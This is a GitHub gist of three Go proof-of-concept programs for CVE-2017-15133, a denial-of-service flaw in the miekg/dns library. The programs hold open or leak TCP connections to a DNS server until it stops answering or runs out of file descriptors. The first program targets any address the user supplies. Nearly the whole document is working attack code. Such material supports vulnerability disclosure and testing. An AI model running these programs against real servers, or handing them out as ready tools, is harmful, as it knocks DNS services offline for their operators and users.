Skip to content

Instantly share code, notes, and snippets.

@tmthrgd
Created August 16, 2018 09:07
Show Gist options
  • Star 0 You must be signed in to star a gist
  • Fork 0 You must be signed in to fork a gist
  • Save tmthrgd/4b6676604614f4ba424bcf2d95b83a2f to your computer and use it in GitHub Desktop.
Save tmthrgd/4b6676604614f4ba424bcf2d95b83a2f to your computer and use it in GitHub Desktop.
CVE-2017-15133 PoCs affecting miekg/dns
// CVE-2017-15133 PoC by Tom Thorogood (https://tomthorogood.co.uk)
package main
import (
"context"
"flag"
"log"
"net"
"os"
"os/signal"
"runtime"
"syscall"
"time"
"golang.org/x/sync/errgroup"
)
func main() {
addr := flag.String("addr", "127.0.0.1:1053", "the server's address")
dur := flag.Duration("duration", 5*time.Minute, "the length of time to block server connections")
timeout := flag.Duration("timeout", 2*time.Second, "the server's readtimeout")
flag.Parse()
log.Println("starting DOS")
defer log.Println("DOS ended")
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
eg, dctx := errgroup.WithContext(ctx)
var d net.Dialer
// we need to pin the conns to prevent GC from closing them
conns := make(chan net.Conn, int(*dur / *timeout))
for i := 0; i < cap(conns); i++ {
eg.Go(func() error {
c, err := d.DialContext(dctx, "tcp", *addr)
if err != nil {
return err
}
conns <- c
return nil
})
}
term := make(chan os.Signal, 1)
signal.Notify(term, os.Interrupt, syscall.SIGTERM)
done := make(chan error, 1)
go func() {
done <- eg.Wait()
}()
select {
case err := <-done:
if err != nil {
log.Fatal(err)
}
case <-term:
log.Println("^C terminating")
return
}
log.Printf("dialed %d DOS connections", len(conns))
log.Printf("waiting for %s", *dur)
select {
case <-time.After(*dur):
log.Printf("ending DOS after %s", *dur)
case <-term:
log.Println("^C ending DOS")
}
// we need to pin the conns to prevent GC from closing them
runtime.KeepAlive(conns)
}
package main
import (
"context"
"flag"
"log"
"net"
"os"
"os/signal"
"syscall"
"time"
"github.com/miekg/dns"
)
func main() {
listen := flag.String("addr", ":0", "the address to listen on")
repeat := flag.Bool("repeat", true, "repeatedly DOS the server")
flag.Parse()
started := make(chan struct{})
srv := &dns.Server{
Addr: *listen,
Net: "tcp",
NotifyStartedFunc: func() { close(started) },
Handler: dns.HandlerFunc(func(rw dns.ResponseWriter, r *dns.Msg) {
if len(r.Question) < 1 {
m := new(dns.Msg)
m.SetRcode(r, dns.RcodeRefused)
rw.WriteMsg(m)
return
}
m := &dns.Msg{
Answer: []dns.RR{
&dns.A{
Hdr: dns.RR_Header{
Name: r.Question[0].Name,
Rrtype: dns.TypeA,
Class: dns.ClassINET,
},
A: net.ParseIP("192.0.2.0").To4(),
},
},
}
m.SetReply(r)
rw.WriteMsg(m)
}),
}
defer func() {
if err := srv.Shutdown(); err != nil {
panic(err)
}
}()
go func() {
if err := srv.ListenAndServe(); err != nil {
panic(err)
}
}()
<-started
addr := srv.Listener.Addr().String()
/*n, err := net.LookupHost("deb.atoom.net")
if err != nil {
panic(err)
}
addr := net.JoinHostPort(n[0], "53")*/
ctx, cancel := context.WithCancel(context.Background())
defer cancel()
go func() {
client := &dns.Client{
Net: "tcp",
ReadTimeout: 1 * time.Second,
}
m := new(dns.Msg).SetQuestion("CVE-2017-15133.test.", dns.TypeA)
t := time.NewTicker(50 * time.Millisecond)
defer t.Stop()
for range t.C {
start := time.Now()
r, rtt, err := client.ExchangeContext(ctx, m, addr)
if err != nil {
select {
case <-ctx.Done():
return
default:
}
if nerr, ok := err.(net.Error); ok && nerr.Temporary() {
log.Printf("error after %v,\terror: %v", time.Since(start), err)
continue
}
panic(err)
}
var res string
if len(r.Answer) > 0 {
res = r.Answer[0].String()
} else {
res = dns.RcodeToString[r.Rcode]
}
log.Printf("response after %v,\trtt: %v,\tresponse: %s", time.Since(start), rtt, res)
}
}()
go func() {
time.Sleep(1 * time.Second)
log.Println("starting DOS")
defer log.Println("DOS ended")
var t *time.Ticker
if *repeat {
t = time.NewTicker(500 * time.Millisecond)
defer t.Stop()
}
var d net.Dialer
for {
log.Println("dialing DOS connection")
c, err := d.DialContext(ctx, "tcp", addr)
if err != nil {
select {
case <-ctx.Done():
return
default:
panic(err)
}
}
go func() {
time.Sleep(3 * time.Second)
c.Close()
}()
if *repeat {
<-t.C
} else {
return
}
}
}()
// termination handler
term := make(chan os.Signal, 1)
signal.Notify(term, os.Interrupt, syscall.SIGTERM)
<-term
}
package main
import (
"encoding/binary"
"flag"
"fmt"
"io"
"log"
"net"
"os"
"os/signal"
"syscall"
"time"
"github.com/miekg/dns"
)
type leakReader struct {
dns.Reader
}
func (lr *leakReader) ReadTCP(conn net.Conn, timeout time.Duration) ([]byte, error) {
conns = append(conns, conn)
return lr.Reader.ReadTCP(conn, timeout)
}
var conns []net.Conn
func server(args []string) {
flags := flag.NewFlagSet("client", flag.ExitOnError)
addr := flags.String("addr", ":8053", "address to listen on")
nofile := flags.Uint64("nofile", 128, "the value to set RLIMIT_NOFILE to")
flags.Parse(args)
var lim syscall.Rlimit
if err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &lim); err != nil {
panic(err)
}
log.Println("RLIMIT_NOFILE", lim)
lim.Cur = *nofile
if err := syscall.Setrlimit(syscall.RLIMIT_NOFILE, &lim); err != nil {
panic(err)
}
if err := syscall.Getrlimit(syscall.RLIMIT_NOFILE, &lim); err != nil {
panic(err)
}
log.Println("RLIMIT_NOFILE", lim)
srv := &dns.Server{
Addr: *addr,
Net: "tcp",
DecorateReader: func(r dns.Reader) dns.Reader {
return &leakReader{r}
},
Handler: dns.HandlerFunc(func(rw dns.ResponseWriter, r *dns.Msg) {
log.Println(r)
if len(r.Question) < 1 {
m := new(dns.Msg)
m.SetRcode(r, dns.RcodeRefused)
rw.WriteMsg(m)
return
}
m := &dns.Msg{
Answer: []dns.RR{
&dns.A{
Hdr: dns.RR_Header{
Name: r.Question[0].Name,
Rrtype: dns.TypeA,
Class: dns.ClassINET,
},
A: net.ParseIP("192.0.2.0").To4(),
},
},
}
m.SetReply(r)
rw.WriteMsg(m)
}),
}
defer func() {
if err := srv.Shutdown(); err != nil {
panic(err)
}
}()
go func() {
if err := srv.ListenAndServe(); err != nil {
panic(err)
}
}()
go func() {
t := time.NewTicker(2 * time.Second)
defer t.Stop()
f, err := os.Open("/proc/self/fd")
if err != nil {
panic(err)
}
defer f.Close()
for range t.C {
if _, err := f.Seek(0, io.SeekStart); err != nil {
panic(err)
}
names, err := f.Readdirnames(-1)
if err != nil {
panic(err)
}
log.Printf("%d open file desciptors of %d", len(names), lim.Cur)
}
}()
// Disable garbage collection to prevent collection of leaking
// file descriptors.
//
// Instead of this, we achive the same thing by pinning the
// net.Conn in leakyReader.
/*debug.SetGCPercent(-1)
runtime.GC()*/
// termination handler
term := make(chan os.Signal, 1)
signal.Notify(term, os.Interrupt, syscall.SIGTERM)
<-term
}
func client(args []string) {
flags := flag.NewFlagSet("client", flag.ExitOnError)
addr := flags.String("addr", "127.0.0.1:8053", "the address to connect to")
nofile := flags.Int("nofile", 128, "the number of file descriptors to leak")
flags.Parse(args)
b := make([]byte, 2)
binary.BigEndian.PutUint16(b, 0)
for i := 0; i < *nofile; i++ {
c, err := net.Dial("tcp", *addr)
if err != nil {
panic(err)
}
defer c.Close()
c.Write(b)
}
log.Printf("opened %d connetions to %s", *nofile, *addr)
// termination handler
term := make(chan os.Signal, 1)
signal.Notify(term, os.Interrupt, syscall.SIGTERM)
<-term
}
func main() {
flag.Usage = func() {
fmt.Fprintf(os.Stderr, "Usage of %s:\n\tserver | client\n", os.Args[0])
}
flag.Parse()
switch flag.Arg(0) {
case "server":
server(flag.Args()[1:])
case "client":
client(flag.Args()[1:])
default:
flag.Usage()
os.Exit(2)
}
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment